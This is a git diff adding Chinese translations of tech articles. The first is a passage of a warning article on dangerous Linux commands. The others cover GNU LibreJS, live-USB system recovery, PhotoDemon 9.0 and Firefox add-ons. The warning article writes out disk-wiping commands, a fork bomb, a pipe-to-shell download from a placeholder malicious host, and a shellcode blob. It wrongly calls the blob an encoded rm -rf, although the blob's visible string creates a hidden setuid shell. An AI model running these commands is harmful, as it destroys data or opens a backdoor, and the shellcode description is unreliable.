--no-preserve-root +``` + +然而,一个更简单的版本可以是这样的: + +``` +sudo rm -rf /* +``` + +它将开始递归地删除根目录下的所有文件,在一段时间后,你的系统会冻结,并显示“删除文件错误”。一旦重新启动,你将被送到 **grub-rescue** 提示符下。 + +### 2、覆盖你的分区 + +如果你熟悉文件系统,你可能知道 `/dev/sda` 是什么。它(通常)是你的磁盘驱动器分区。`>` 操作符用于将其前面的命令的输出写到所提供的指定位置。 + +一旦你运行任何命令并把它写到 `/dev/sda`,比如说: + +``` +echo "Hello" > /dev/sda +``` + +这将用 `Hello` 字符串替换你的包含启动系统所需的所有数据的分区。 + +### 3、把所有的东西都移到黑洞 + +每个 Linux 系统内都有一个黑洞。而这个黑洞就是 `/dev/null`。 + +无论你把什么东西扔进这个区域都会永远丢失。而且,它在丢弃数据后会将写入过程报告为成功,这是其破坏性的主要原因。 + +``` +mv /home/user/* /dev/null +``` + +[mv 命令][3] 用来移动或重命名文件/目录。在上面的命令中,你把家目录内的所有文件都移到了黑洞中。虽然根系统没有被破坏,但你所有的个人数据都会丢失。 + +### 4、格式化你的硬盘 + +[mkfs][4] 是一个命令行工具,用于格式化磁盘和分区。它是一个超级方便的工具,可以为安装的操作系统创建分区。但同样的命令也可以格式化你的硬盘。格式化你的驱动器意味着删除系统启动所需的所有文件。 + +``` +mkfs.ext3 /dev/sda +``` + +这个命令完成了它的工作,而你最终得到了一个无法恢复的混乱的系统。 + +### 5、fork 炸弹 + +这个看起来很可爱的特殊字符和符号的随机组合,足以通过耗尽系统资源来冻结一个正在运行的系统。 + +``` +:(){ :|:& };: +``` + +`&` - Shell 后台操作符。它通知 Shell 将命令放在后台。在这里,它定义了一个叫做 `:` 的函数,它调用自己两次,一次在前台,一次在后台。这个过程不断地重复执行,直到系统冻结。 + +顾名思义,它自己分叉,最终成为一个连锁炸弹,吃掉了所有的系统资源。你将被迫重启系统,这并不像本列表中的其他命令那样糟糕。 + +### 6、覆盖重要的配置文件 + +虽然这本身不是一个命令,但它更像是一个预防性的东西。 + +如上所述,`>` 操作符是用来向文件写入的。它丢弃文件中已经存在的东西,并将提供的新数据写入文件中。 + +``` +command > config_filename +``` + +现在,如果你将一些重要的配置文件作为写数据的地方,它将被取代内容,留下一个损坏的系统。 + +### 7、用垃圾数据替换分区 + +`/dev/random` 是 Linux 中的一个命令,它可以创建垃圾数据。把它和 [dd 命令][5] 以及你的分区结合起来,你就得到了一个可以让你的分区着火的燃烧弹。 + +``` +dd if=/dev/random of=/dev/sda +``` + +`dd` 命令被用作一个低级别的复制工具。这里,它从 `/dev/random` 中获取随机数据,并用这些垃圾替换 `/dev/sda` 分区。 + +一个类似的效果是通过以下方式获得的: + +``` +cat /dev/urandom > filename +``` + +这里,它从 `/dev/urandom`(LCTT 译注:在 Linux 上,`/dev/urandom` 现在和 `/dev/random` 的等价的 )中获取垃圾数据并填入一个文件。如果不使用 `Ctrl + C` 终止,该文件会占据相当大的空间,这对低端系统来说可能是灾难性的。 + +### 8、将你的系统暴露给所有人 + +在 Linux 中,所有东西都是文件,每个 [文件都有一定的权限][6]。 + +你可以用 `ls -l` 查看权限。根文件系统是不允许其他没有权限的用户访问的。虽然这保证了系统的私密性和安全性,但你可以用一个命令颠覆这个系统。 + +``` +chmod -R 777 / +``` + +上述命令将根分区上的所有文件暴露给所有人。这意味着每个使用该系统的人都有读、写和执行的权限。这对你的系统是不利的。 + +### 9、下载并运行恶意的内容 + +你如何在 Linux 中安装软件?你可以使用官方的软件包管理器或随时可以使用的软件包,如 Deb/RPM、Snap、Flatpak 等。 + +然而,有些软件是没有打包的,它们的开发者提供了下载和运行的 Shell 脚本。以 [Homebrew][7] 为例: + +你下载一个 Shell 文件,然后以 root 身份运行它,在你的系统中安装一个软件。你看出问题了吗? + +虽然它对 Homebrew 这样的官方软件有效,但在你像下面这样直接运行它之前,你应该仔细检查你所下载的 Shell 脚本的内容: + +``` +wget http://malicious_source -O- | sh +``` + +这样的命令会在你的系统中下载并运行恶意脚本,这可能会破坏你的系统的安全性。 + +### 10、伪装的命令 + +在 Linux 终端中,有许多方法可以运行命令。其中一种方式是十六进制编码的命令: + +``` +char esp[] __attribute__ ((section(“.text”))) /* e.s.p +release */ += “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” +“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” +“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” +“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” +“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” +“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” +“\x6e\x2f\x73\x68\x00\x2d\x63\x00” +“cp -p /bin/sh /tmp/.beyond; chmod 4755 +/tmp/.beyond;”; +``` + +虽然它看起来很花哨,但这是 `rm -rf` 命令的一个编码版本。它的效果与运行前面的命令相同。因此,在从互联网上复制和粘贴这些花哨的命令时,要小心谨慎。 + +### 总结 + +![pebkac][8] + +有一个著名的计算机术语 PEBKAC:“问题存在于键盘和椅子之间problem exists between keyboard and chair”。 + +因为归根结底,还是要靠用户(你)来保证你不会因为盲目地运行任何危险的命令而破坏系统。 + +> UNIX 的工作不是要阻止你搬起石头砸你自己的脚。如果你选择这样做,那么 UNIX 的工作就是以它所知道的最有效的方式将石头砸到脚上。 + +而这句话同样适用于 Linux。你可以完全控制你的操作系统。你选择做什么,完全取决于你。 + +我建议做这些事情以确保更安全的体验。 + +* 尝试并理解你将要运行的命令。 +* 用 Timeshift 保持你的系统设置的备份 +* 用 DejaDup 保持个人数据(主目录)的备份 + +正如我所说,没有固定的危险 Linux 命令清单。还有很多可以添加到这个列表中,而且根本没有尽头。 + +我希望这能给你一些提示,告诉你为了保持 Linux 的安全,你不应该做什么。如果你有建议,请在评论区告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/dangerous-linux-commands/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/sudo-rm-rf/ +[2]: https://youtu.be/AiKPo14uVNU +[3]: https://linuxhandbook.com/mv-command/ +[4]: https://linuxhandbook.com/mkfs-command/ +[5]: https://linuxhandbook.com/dd-command/ +[6]: https://linuxhandbook.com/linux-file-permissions/ +[7]: https://itsfoss.com/homebrew-linux/ +[8]: https://itsfoss.com/wp-content/uploads/2022/09/pebkac.jpg diff --git a/published/202209/20220912 GNU LibreJS For Firefox Stops Non-Free Non-Trivial JavaScript.md b/published/202209/20220912 GNU LibreJS For Firefox Stops Non-Free Non-Trivial JavaScript.md new file mode 100644 index 0000000000..1f38807608 --- /dev/null +++ b/published/202209/20220912 GNU LibreJS For Firefox Stops Non-Free Non-Trivial JavaScript.md @@ -0,0 +1,35 @@ +[#]: subject: "GNU LibreJS For Firefox Stops Non-Free Non-Trivial JavaScript" +[#]: via: "https://www.opensourceforu.com/2022/09/gnu-librejs-for-firefox-stops-non-free-non-trivial-javascript/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15037-1.html" + +屏蔽非自由软件的大型 JavaScript 脚本的浏览器扩展 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/16/145522tybcmb2kukgxutcp.jpg) + +一个名为 GNU LibreJS 的 Firefox 浏览器扩展程序旨在自动阻止非自由软件的大型 JavaScript 脚本。与 NoScript 相比,GNU LibreJS 的操作也类似。主要的区别特征之一是 NoScript 在默认情况下会阻止大多数 JavaScript 脚本,而 GNU LibreJS 针对的非自由软件的大型 JavaScript 脚本。 + +GNU LibreJS 源于 Richard Stallman 的一篇名为《JavaScript 陷阱》的文章。Stallman 认为,运行在浏览器上的非自由软件,主要是用 JavaScript 编写的,也有用其他语言编写的。这些应用程序有许多是专有软件或者不开源的,更有甚者其中不乏一些有害的或有问题的程序。Stallman 声称 Google 文档使用的 JavaScript 程序的大小为半兆字节。它是压缩过的,想要理解和分析这样的程序就很具有挑战性。Stallman 将监控用户的 JavaScript 代码称为恶意软件。 + +Stallman 建议不要运行那些复杂的或非常消耗处理能力的 JavaScript。从外部页面加载的脚本、修改 DOM 的脚本以及对 `eval` 的调用,都是符合上面描述的 JavaScript 代码的例子。GNU 网站发布了一个(符合上述描述的)列表。当 GNU LibreJS 安装在 Firefox 和其他兼容的浏览器中时,它会为用户做出这些区分。它会启用那些小型的 JavaScript,并阻止它认为非自由软件的大型 JavaScript 代码。 + +该扩展添加了一个工具栏图标,指示页面上存在多少被阻止的 JavaScript 引用。除了更改整个网站或特定脚本或代码段状态的控件外,单击会显示接受和阻止的 JavaScript。可以将整个网站以及特定脚本或代码片段列入白名单或黑名单。扩展程序会记住之前的设置。提供了显示 JavaScript 代码的选项,以及撤销所有自定义设置或单个自定义设置的选项。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/gnu-librejs-for-firefox-stops-non-free-non-trivial-javascript/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202209/20220912 How I recovered my Linux system using a Live USB device.md b/published/202209/20220912 How I recovered my Linux system using a Live USB device.md new file mode 100644 index 0000000000..1411aeb344 --- /dev/null +++ b/published/202209/20220912 How I recovered my Linux system using a Live USB device.md @@ -0,0 +1,139 @@ +[#]: subject: "How I recovered my Linux system using a Live USB device" +[#]: via: "https://opensource.com/article/22/9/recover-linux-system-live-usb" +[#]: author: "David Both https://opensource.com/users/dboth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15080-1.html" + +我如何使用现场 USB 设备恢复我的 Linux 系统 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/28/121226rh7vq7qhwhqzh76m.jpg) + +> Fedora 现场 USB 发行版为引导和进入恢复模式提供了有效的解决方案。 + +我的家庭实验室里有十几台物理计算机以及更多的虚拟机。这些系统中的大多数是我用来进行测试和实验的。我经常写使用自动化来简化系统管理任务的文章。我还在多个地方写过,我从自己的错误中学到的东西比几乎任何其他方式都多。 + +在过去的几周里,我学到了很多东西。 + +我给自己制造了一个大麻烦。作为多年的系统管理员,我写了数百篇关于 Linux 的文章和五本书,我应该对 Linux 更了解。话又说回来,我们都会犯错,这是一个重要的教训:你永远不会因为有经验而不犯错。 + +我不打算讨论我的错误的细节。告诉你这是一个错误就足够了,在我做之前我应该多考虑一下我在做什么。此外,细节并不是重点。经验不能让你免于犯下的每一个错误,但它可以帮助你恢复。这就是本文要讨论的内容:使用现场 USB 发行版启动并进入恢复模式。 + +### 问题 + +首先,我制造了问题,这本质上是 `/etc/default/grub` 文件的错误配置。接下来,我使用 Ansible 将错误配置的文件分发到我所有的物理计算机并运行 `grub2-mkconfig`。全部 12 个。这真的,真的很快。 + +除了两台之外,所有的都无法启动。它们在 Linux 启动的早期阶段崩溃,出现各种无法定位 `/root` 文件系统的错误。 + +我可以使用 root 密码进入“维护”模式,但是如果没有挂载 `/root`,即使是最简单的工具也无法访问。直接引导到恢复内核也不起作用。系统真的被破坏了。 + +### Fedora 恢复模式 + +解决此问题的唯一方法是找到进入恢复模式的方法。当一切都失败时,Fedora 提供了一个非常酷的工具:用于安装 Fedora 新实例的现场 USBLive USB 驱动器。 + +将 BIOS 设置为从现场 USB 设备启动后,我启动到 Fedora 36 Xfce 的现场live用户桌面。我在桌面上打开了两个相邻的终端会话,并在两者中都切换到了 root 权限。 + +我在其中一个运行了 `lsblk` 以供参考。我使用该结果来识别 `/` 根分区以及 `boot` 和 `efi` 分区。我使用了我的一台虚拟机,如下所示。在这种情况下没有 `efi` 分区,因为此 VM 不使用 UEFI。 + +``` +# lsblk +NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS +loop0 7:0 0 1.5G 1 loop +loop1 7:1 0 6G 1 loop +├─live-rw 253:0 0 6G 0 dm / +└─live-base 253:1 0 6G 1 dm +loop2 7:2 0 32G 0 loop +└─live-rw 253:0 0 6G 0 dm / +sda 8:0 0 120G 0 disk +├─sda1 8:1 0 1G 0 part +└─sda2 8:2 0 119G 0 part + ├─vg01-swap 253:2 0 4G 0 lvm + ├─vg01-tmp 253:3 0 10G 0 lvm + ├─vg01-var 253:4 0 20G 0 lvm + ├─vg01-home 253:5 0 5G 0 lvm + ├─vg01-usr 253:6 0 20G 0 lvm + └─vg01-root 253:7 0 5G 0 lvm +sr0 11:0 1 1.6G 0 rom /run/initramfs/live +zram0 252:0 0 8G 0 disk [SWAP] +``` + +`/dev/sda1` 分区很容易识别为 `/boot`,根(`/`)分区也很明显。 + +在另一个终端会话中,我执行了一系列步骤来恢复我的系统。特定的卷组名称和设备分区(例如 `/dev/sda1`)因系统而异。此处显示的命令特定于我的情况。 + +目标是使用现场 USB 引导并完成启动,然后仅在镜像目录中挂载必要的文件系统,并运行 `chroot` 命令在 chroot 镜像目录中运行 Linux。这种方法绕过损坏的 GRUB(或其他)配置文件。但是,它提供了一个完整的运行系统,其中安装了所有原始文件系统以进行恢复,既是所需工具的来源,也是要进行更改的目标。 + +以下是步骤和相关命令: + +1. 创建目录 `/mnt/sysimage` 以提供 `chroot` 目录的位置。 +2. 将根分区挂载到 `/mnt/sysimage`: + ``` + # mount /dev/mapper/vg01-root /mnt/sysimage + ``` +3. 将 `/mnt/sysimage` 设为你的工作目录: + ``` + # cd /mnt/sysimage + ``` +4. 挂载 `/boot` 和 `/boot/efi` 文件系统。 +5. 挂载其他主要文件系统。此步骤不需要像 `/home` 和 `/tmp` 这样的文件系统: + ``` + # mount /dev/mapper/vg01-usr usr + + # mount /dev/mapper/vg01-var var + ``` +6. 绑定已挂载的重要文件系统,它们必须在已经 chroot 的系统和原始的现场系统之间共享,而后者仍然在外部运行: + ``` + # mount --bind /sys sys + + # mount --bind /proc proc + ``` +7. 一定要最后操作 `/dev` 目录,否则其他文件系统不能挂载: + ``` + # mount --bind /dev dev + ``` +8. chroot 到系统镜像: + ``` + # chroot /mnt/sysimage + ``` + +系统现在已经准备好了,无论你需要做什么,都可以把它恢复到一个工作状态。然而,有一次我能够在这种状态下运行我的服务器数天,直到我能够研究测试出真正的修复方法。我并不推荐这样做,但在紧急情况下,当有任务需要启动和运行时,这可能是一个选择。 + +### 解决方案 + +当我让每个系统进入恢复模式,修复就很容易了。因为我的系统现在就像成功启动一样工作,我只需对 `/etc/default/grub` 和 `/etc/fstab` 进行必要的更改并运行 `grub2-mkconfig > boot/grub2/grub.cfg` 命令。我使用 `exit` 命令退出 chroot 环境,然后重启主机。 + +当然,我无法自动从我的意外事故中恢复过来。我必须在每台主机上手动执行整个过程,这是使用自动化快速和容易地传播我自己的错误的一点报应。 + +### 得到教训 + +尽管它们很有用,我曾经讨厌在我的一些系统管理员工作中举行的“经验教训”会议,但看来我确实需要提醒自己一些事情。因此,这里是我从这场自作自受的惨败中获得的“教训”。 + +首先,无法引导的十个系统使用了不同的卷组命名方案,而我的新 GRUB 配置没有考虑到这一点。我只是忽略了它们可能不同的事实。 + +* 彻底考虑清楚。 +* 并非所有系统都相同。 +* 测试一切。 +* 验证一切。 +* 永远不要做假设。 + +现在一切正常。希望我也聪明一点。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/recover-linux-system-live-usb + +作者:[David Both][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/dboth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/markus-winkler-usb-unsplash.jpg +[2]: https://unsplash.com/@markuswinkler?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/usb?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText diff --git a/published/202209/20220912 Open Source PhotoDemon 9.0 Is Now Available For Download.md b/published/202209/20220912 Open Source PhotoDemon 9.0 Is Now Available For Download.md new file mode 100644 index 0000000000..3a898e0068 --- /dev/null +++ b/published/202209/20220912 Open Source PhotoDemon 9.0 Is Now Available For Download.md @@ -0,0 +1,52 @@ +[#]: subject: "Open Source PhotoDemon 9.0 Is Now Available For Download" +[#]: via: "https://www.opensourceforu.com/2022/09/open-source-photo-editor-photodemon-9-0-is-now-available/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15033-1.html" + +开源照片编辑器 PhotoDemon 9.0 现已可供下载 +====== + +![](https://www.opensourceforu.com/wp-content/uploads/2022/09/cameras-camera-reviews-crystal-displays-photographs-film-1536x1076.jpg) + +经过两年的发展,自由开源的照片编辑器 PhotoDemon 的作者已推出了 PhotoDemon 9.0。新版本增强了用户界面,内置了对 Adobe Photoshop 插件的支持,支持了新的图像格式,减少了资源使用等等。根据用户在 “工具Tools > 选项Options > 更新Updates” 下的设置,已经安装了 PhotoDemon 9.0 可以自动收到更新推送。你也可以选择通过 “帮助Help > 检查更新Check for Updates” 手动更新。 + +PhotoDemon 这个便携程序提供压缩包下载。解压到系统,就能启动这个照片编辑器。可能最新版本会让Windows 可能会发出 SmartScreen 警告,VirusTotal 上的两个不太知名的杀毒软件也会报毒(以上都是误报)。新的 PhotoDemon 消耗的资源比以前的版本少,这是它的优点之一。例如,它在冷启动后使用的内存也比以前的版本少 12%。 + +用过老版本的用户切换到新版本可能会立即注意到新的界面。比如大多数选项现在都以弹出的方式显示,最常用的工具显示在工具栏上。根据作者的说法,新的用户界面使用了“旧版本不到一半的垂直空间”,而且不会牺牲功能。 + +用户界面仍然可以适配各种显示分辨率,包括 1024×768 这样的传统分辨率。且新版本中打开的照片会有更多空间。在早期的版本中,照片编辑器的选择工具表现出色。最新版本中包含对多选区的支持。添加选区、减去选区和相交选区可用于组合选择,即使在多个选区处于活动状态时,你仍然能编辑刚创建的选区。 + +内容填充工具,通常称为智能对象移除或涂抹,是另一个新功能。要使用它,用户可以选择 “编辑Edit > 内容填充Content-aware fill” 或 “选择Select > 修复选区Heal selected region”。虽然该工具是自主操作的,也能个性化一些设置和选项。该功能既不需要人工智能也不需要互联网连接。事实上,正因为如此,如果多次运行该工具可能会带来更好的图片。 + +PhotoDemon 9.0 支持新的图像格式。新版本提供 PSP 图片、AVIF 和动画 WebP 图像的导入和导出功能。尽管有 AVIF 支持,但由于其大小,并未内置必要的编码器和解码器应用程序。用户首次加载或保存 AVIF 文件时会下载必要的数据。现在可以导入 XCF(GIMP)、SVG 和 SVGZ 格式的图像。 + +最后但同样重要的是,PhotoDemon 9.0 支持无损 “quite OK”(QOI)照片、Symbian 图像(MBM 和 AIF)、漫画书档案(CBZ)和无损 JPEG(JPEG-LS)图像。作者称最新版本中的自动优化 GIF 的功能是同类产品中最佳的。新的神经网络颜色量化器也有助于依赖调色板的图像格式。 + +PhotoDemon 9.0 的新增增强功能包括: + +- 图像调整器提供了 12 种复杂的重采样技术的实时交互式预览。 +- 支持内置的 Adobe Photoshop 插件(8bf)。 +- 完全支持 3D LUT(三维查找表)。 +- 新效果包括渐变流、凹凸贴图、Droste 和 Truchet 贴图。 +- 改进了结晶和染色玻璃的工具。 +- 一种新的去雾工具,用于恢复“被雾霾或雾霾破坏”的照片。 +- 新的用户界面和改进的工具性能曲线。 +- 为了“更好地匹配 Photoshop 的实现”,照片滤镜工具已经过重新设计。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/open-source-photo-editor-photodemon-9-0-is-now-available/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202209/20220913 11 Interesting Firefox Add-ons to Improve Your Browsing Experience.md b/published/202209/20220913 11 Interesting Firefox Add-ons to Improve Your Browsing Experience.md new file mode 100644 index 0000000000..3536b7615c --- /dev/null +++ b/published/202209/20220913 11 Interesting Firefox Add-ons to Improve Your Browsing Experience.md @@ -0,0 +1,275 @@ +[#]: subject: "11 Interesting Firefox Add-ons to Improve Your Browsing Experience" +[#]: via: "https://itsfoss.com/firefox-add-ons/" +[#]: author: "Pratham Patel https://itsfoss.com/author/pratham/" +[#]: collector: "lkxed" +[#]: translator: "gpchn" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15046-1.html" + +11 个有趣的 Firefox 浏览器扩展,改善你的浏览体验 +====== + +1[](https://img.linux.net.cn/data/attachment/album/202209/19/142052i277yjgyy11zzrdu.jpg) + +我想我们都同意,Firefox 是 [Linux 的最佳浏览器][1] 之一。 + +而且锦上添花的是,你可以用一些扩展来提高你的浏览体验! 也许甚至可以将 Facebook 隔离在容器中?😉 + +在我推荐一些优秀的 Firefox 浏览器扩展之前,让我给你一些提示。 + +### 安装 Firefox 扩展前须知 + +我们都知道的一件事是 [盲目地安装浏览器扩展可能是极其有害的][2]。那么如何确定浏览器扩展是否可以安全使用? + +由于本文是关于 Firefox 扩展的,我们将重点放在 Firefox 的*市场*(获取扩展的官方渠道)。 + +虽然没有什么是 100% 安全的,但有几件事可以检查: + +![一个理想的可以安全使用的 Firefox 扩展][3] + +* [扩展的徽章][4]:寻找“推荐”或“By Firefox”徽章;忽略包含警告徽章/图标的扩展。 +* 菜单和评论:虽然仅此一项并不能提供太多保证,但这是你可以在其他方面考虑的一件事。此外,关注评论的数量可以帮助你了解它在用户中是否足够受欢迎。 +* [扩展的权限][5]:某些扩展需要诸如“访问浏览器标签页”、“导航时访问浏览器动作”等权限。记下这一点并确定你对哪些权限的舒适程度。 +* 最后更新日期:有时,即使是优秀的、知名的扩展也不会更新。这没关系,但对于像密码管理器、广告拦截器这样的扩展来说,这很重要。应始终谨慎使用超过 2 个月没更新的扩展。 +* 扩展发布者:始终确保扩展的发布者是你信任的人,或者已经发布了你信任的扩展。 + +话虽如此,让我们来看看一些可以改善你的网络浏览体验的扩展。 + +另请阅读: + +> **[9 个开源扩展可改善你的 Mozilla Firefox 体验][6]** + +### 1、Facebook Container + +![Facebook Container][7] + +**主要亮点:** + +* 由 Mozilla Firefox 团队制作 +* 平均评分为 4.5 星(3,500 多条评论) +* 定期更新 + +每个人都讨厌 Facebook,但很少有人愿意从自己的网站上删除 Facebook 的跟踪元素。所以 Mozilla 引用了一个灭霸的片段 —— “好吧,我自己做”,并为 Firefox 用户创建了这个扩展。 + +顾名思义,为 Facebook 创建了一个隔离容器(与 Docker 无关)。所有与 Facebook 相关的东西都发生在这个孤立的容器中。 这最终使社交媒体巨头更难追踪你。 + +> **[安装 Facebook Container][8]** + +### 2、uBlock Origin + +![ublock origin firefox 1][9] + +**主要亮点:** + +* Mozilla 推荐的扩展 +* 4.8 星的平均评分(14,000 多条评论) +* 定期更新 + +uBlock Origin 是 Firefox 最知名和最受信任的“广告拦截”扩展之一。是的,它主要用于屏蔽广告,但因为它的基本任务是屏蔽你的网络浏览器中的元素,所以它可以屏蔽很多项目。广告,是的,还有网络跟踪器、加密货币矿工、弹出窗口等。 + +虽然它的权限可能看起来有点过分,但这背后是有原因的。该扩展需要“*在导航期间访问浏览器活动*”和“*访问所有网站的数据*”等权限,以便它可以评估每个查询并阻止那些看起来有害或无用的查询。 + +> **[安装uBlock Origin][10]** + +### 3、Bitwarden + +![Bitwarden 演示][11] + +**主要亮点:** + +* Mozilla 推荐的扩展 +* 平均评分为 4.8 星(6000 多条评论) + +Bitwarden 应该是每个人的首选密码管理器。它为移动端、网页端和 PC 端提供免费同步支持,还可以安全地存储笔记,帮助生成用户名**和**密码、自动填充用户信息等等。最重要的是,[它使用 GPL-3.0 许可证][12]。谁不喜欢自由开源软件? + +Bitwarden 拥有*我会在密码管理器中寻找*的一切。如果你想升级到高级版,只需 10 美元。 我强烈推荐这个 Firefox 扩展! + +> **[安装 Bitwarden][13]** + +### 4、LanguageTool + +![LanguageTool 扩展使用演示][14] + +**主要亮点:** + +* Mozilla 推荐的扩展 +* 平均评分为 4.7 星(2900 多条评论) +* 定期更新 + +你是否想要 [Grammarly][15] 的开源替代品?虽然我在使用 Grammarly 时没有任何问题,但我真正喜欢和首选的是自由开源软件。LanguageTool 是一款出色的工具,可用于检查拼写错误等语法不一致、使用不同的拼写(color 与 colour)、常见的混淆词(then 与 than),你还可以使用它获得同义词库。 + +根据我使用此扩展的经验,它几乎可以在所有文本上可靠地工作。毫无问题。该扩展最大的两个特点如下: + +* 支持超过 25 种语言。支持的语言列在“关于此扩展程序”部分的底部。 +* 使用此扩展无需注册! + +> **[安装 LanguageTool][16]** + +### 5、Tranquikity Reader + +![firefox tanquility][17] + +想象一下,你正在阅读互联网上的一篇文章,网页顶部和底部有两个横幅广告,整个右侧都是广告,底部的广告横幅是自动播放的视频。你打开广告拦截器,但视频继续播放。有时横幅中没有广告,但它们仍然占用了宝贵的屏幕空间。你是否感觉很烦恼? + +别担心,看,Firefox 的 **Tranquility Reader** 扩展可以解决这个问题。此扩展程序删除了“额外的”元素,如照片、视频、广告、社交媒体共享按钮等。它为你提供了一个干净的 UI,只有文本,因此你可以专注于阅读。 + +Tranquility Reader 扩展具有以下统计信息: + +* Mozilla 推荐的扩展 +* 平均评分为 4.6 星(200 条评论) +* 不经常更新但积极维护 + +> **[安装 Tranquility][18]** + +### 6、Enhancer for YouTube + +![Enhancer for YouTube 一项功能的演示][19] + +**主要亮点:** + +* Mozilla 推荐的扩展 +* 平均 4.7 星评级(9,000 多条评论) + +它是 Firefox 中众多 Youtube 增强扩展之一。它为 YouTube 播放器添加了一些按钮,允许进行更多的自定义。你可以获得诸如更改分辨率、控制播放速度、使用鼠标滚轮控制音频音量等功能。 + +你可以在其 [官方网页][20] 上找到有关该扩展程序的更多信息。 + +> **[安装 Enhancer for YouTube][21]** + +### 7、Tomato Clock + +![Tomato Clock][22] + +当你上网时,跟踪你的时间、生产力和理智是至关重要的。尤其是当你正在研究一个主题并陷入困境时,你应该休息一下,但你会过于投入,以至于你可能会忘记时间。 + +Tomato Clock 扩展正如它的名字,它是一个时钟定时器。一个“番茄”有 25 分钟长,根据你对屏幕上显示的内容的心理投入而感觉或长或短。完成 25 分钟后,你将收到一个浏览器通知,通知你时间的流逝。 + +**主要亮点:** + +* Mozilla 推荐的扩展 +* 它的平均评分为 4.5 星(300 多条评论) +* 使用 GPL v3.0 许可证 + +> **[安装 Tomato Clock][23]** + +### 8、Search by Image + +![演示 Firefox 的图片搜索扩展的“捕获”功能][24] + +**关键亮点:** + +* Mozilla 推荐的扩展 +* 平均评分为 4.6 星(1,100 多个评论) +* 对你上传的媒体采用了合理的 [隐私政策][26] + +当你搜索“红色兰博基尼”一词时,你会得到红色兰博基尼的图片。但是,如果你不知道它是什么车呢?这个扩展允许你使用图像而不是文字术语来搜索图像,并显示类似的结果或该图像的来源地。 + +你可以通过以下方式选择图片进行搜索: + +* 选择 URL:这使你可以直接点击显示在网页上的图像。 +* 网页截图:选择网页上的一个特定区域,以便进行反向图像搜索。 +* 本地图片:从计算机的本地驱动器(而不是网页)上传一个现有的图像。 +* URL:粘贴图像的 URL 以进行反向图像搜索。 + +> **[安装 Search by Image][27]** + +### 9、Dictionary Anywhere + +![Dictionary Anywhere 扩展显示所选单词的含义][28] + +**主要亮点:** + +* Mozilla 推荐的扩展 +* 平均 4.3 星评级(260 条评论) +* 不定期更新 + +有一个无障碍的字典从来都不是一件坏事!当然,我已经被 macOS 的“压感查询”功能宠坏了。当我使用 Linux 时,Firefox 的 Dictionary Anywhere 扩展确实弥补了这一点。我需要做的就是双击一个词,然后定义就会弹出来! + +目前,支持的语言只有英语、西班牙语、德语和法语。请注意,这个扩展不能在 Firefox 的阅读模式下工作。这是因为脚本不允许在这种模式下执行。 + +一个小瑕疵是,这使得在一个可编辑的文本中“双击并选择整个单词”变得略微恼人。这是为方便性付出的一个小代价。 + +此外,如果你想要一个积极维护的扩展,这将使你失望。 + +> **[下载 Dictionary Anywhere][29]** + +### 10、Vimium-FF + +![vimium FF][30] + +**主要亮点:** + +* 平均评分 4.8 星(400 多条评论) +* 实验性扩展 + +如果你是 Vim 用户,我就不需要向你解释了,自己去试试吧!你会回来感谢我的。 + +对于那些不知道这个扩展做什么的人,它允许你仅使用 Vim 样式的键在 Firefox 中导航。按 `J` 键向下滚动、`K` 键向上滚动、`X` 键关闭当前选项卡、`T` 键打开一个新选项卡,以及各种其他键盘快捷键。 + +虽然这个扩展有“**实验性**”标志,但在过去一两年的使用经验中,我没有遇到任何问题。 + +> **[下载 Vimium-FF][31]** + +### 11、FireShot + +![fireshot][32] + +FireShot 是一个非常简单的 Firefox 